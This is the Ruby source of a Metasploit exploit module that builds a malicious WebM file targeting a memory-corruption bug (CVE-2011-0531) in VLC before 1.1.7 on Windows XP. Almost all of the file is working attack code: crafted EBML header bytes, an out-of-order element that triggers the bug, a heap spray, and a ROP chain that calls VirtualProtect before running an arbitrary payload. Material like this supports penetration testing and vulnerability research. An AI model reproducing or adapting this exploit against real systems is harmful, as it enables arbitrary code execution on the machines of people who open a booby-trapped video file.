/
vlc_webm.rb
165 lines (137 loc) · 4.85 KB
/
vlc_webm.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VideoLAN VLC MKV Memory Corruption',
'Description' => %q{
This module exploits an input validation error in VideoLAN VLC
< 1.1.7. By creating a malicious MKV or WebM file, a remote attacker
could execute arbitrary code.
NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
permanently enable NX support on machines that support it.
},
'License' => MSF_LICENSE,
'Author' => [ 'Dan Rosenberg' ],
'References' =>
[
[ 'OSVDB', '70698' ],
[ 'CVE', '2011-0531' ],
[ 'BID', '46060' ],
[ 'URL', 'http://git.videolan.org/?p=vlc.git&a=commitdiff&h=59491dcedffbf97612d2c572943b56ee4289dd07&hp=f085cfc1c95b922e3c750ee93ec58c3f2d5f7456' ],
[ 'URL', 'http://www.videolan.org/security/sa1102.html' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'VLC 1.1.6 on Windows XP SP3',
{
'SprayTarget' => 0x030b030a,
'Ret' => 0x6ce091b5, # Pointer to SprayTarget
'Base' => 0x6cd00000, # Base of libtaglib_plugin.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => '2011-01-31',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webm']),
])
end
def exploit
rop_base = target["Base"]
spray = target["SprayTarget"]
# EBML Header
file = "\x1A\x45\xDF\xA3" # EBML
file << "\x01\x00\x00\x00"
file << "\x00\x00\x00\x1F"
file << "\x42\x86\x81\x01" # EBMLVersion = 1
file << "\x42\xF7\x81\x01" # EBMLReadVersion = 1
file << "\x42\xF2\x81\x04" # EBMLMaxIDLength = 4
file << "\x42\xF3\x81\x08" # EBMLMaxSizeLength = 8
file << "\x42\x82\x84\x77" # DocType = "webm"
file << "\x65\x62\x6D"
file << "\x42\x87\x81\x02" # DocTypeVersion = 2
file << "\x42\x85\x81\x02" # DocTypeReadVersion = 2
# Segment data
file << "\x18\x53\x80\x67" # (0) Segment
file << "\x01\x00\x00\x00"
file << "\x01\xD6\x22\xF1"
# Seek data
file << "\x11\x4D\x9B\x74" # (1) SeekHead
file << "\x40\x3F"
file << "\x4D\xBB\x8B" # (2) Seek
file << "\x53\xAB\x84" # (3) SeekID = Segment Info
file << "\x15\x49\xA9\x66" #
file << "\x53\xAC\x81" # (3) SeekPosition
file << "\xff" # index of segment info
# Trigger the bug with an out-of-order element
file << "\x53\xAB\x84" # (3) SeekID = Tracks
file << "\x16\x54\xAE\x6B" #
file << "\x42" * 228 # Padding
# Data
file << "\x15\x49\xA9\x66" # (1) Segment Info
file << "\x01\x00\x00\x00" #
file << "\x01\xff\xff\xff" # This triggers our heap spray...
file << [target.ret].pack('V') # Pointer to our heap spray
# The alignment plays nice, so EIP will always
# hit our pivot when our heapspray works. ESI contains
# 0x030b030a, which will point to one of our "pop; retn"
# pointers, so this works as both a pivot and NOPsled
block = [
rop_base + 0x229a5, # xcgh esi,esp; retn
rop_base + 0x2c283, # pop eax; retn
0xdeadbeef, # pad
rop_base + 0x2c283, # pop eax; retn
]
block = block.pack('V*')
# ROP payload
rop = [
rop_base + 0x1022, # retn
# Call VirtualProtect()
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x29d13, # jmp eax
rop_base + 0x1022, # retn
spray & ~0xfff, # lpAddress
0x60000, # dwSize
0x40, # flNewProtect
spray - 0x1000, # lpfOldProtect
# Enough of this ROP business...
rop_base + 0xdace8 # push esp; retn
]
rop = rop.pack('V*')
# Overwrite the bad pointer with the address of an infinite
# loop so the other threads spin instead of crashing
rop << "\xc7\x05"
rop << [spray + 0xc].pack('V')
rop << [rop_base + 0x1c070].pack('V') # mov DWORD PTR ds:[ptr],&loop
# Restore the stack
rop << "\x87\xe6" # xchg esi,esp
# Payload
rop << payload.encoded
# We need to be 16-byte aligned
rop << "\xcc" * (16 - rop.length % 16)
# Heapspray and payload, go!
32.times {
0x3000.times {
file << block
}
file << rop
}
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(file)
end
end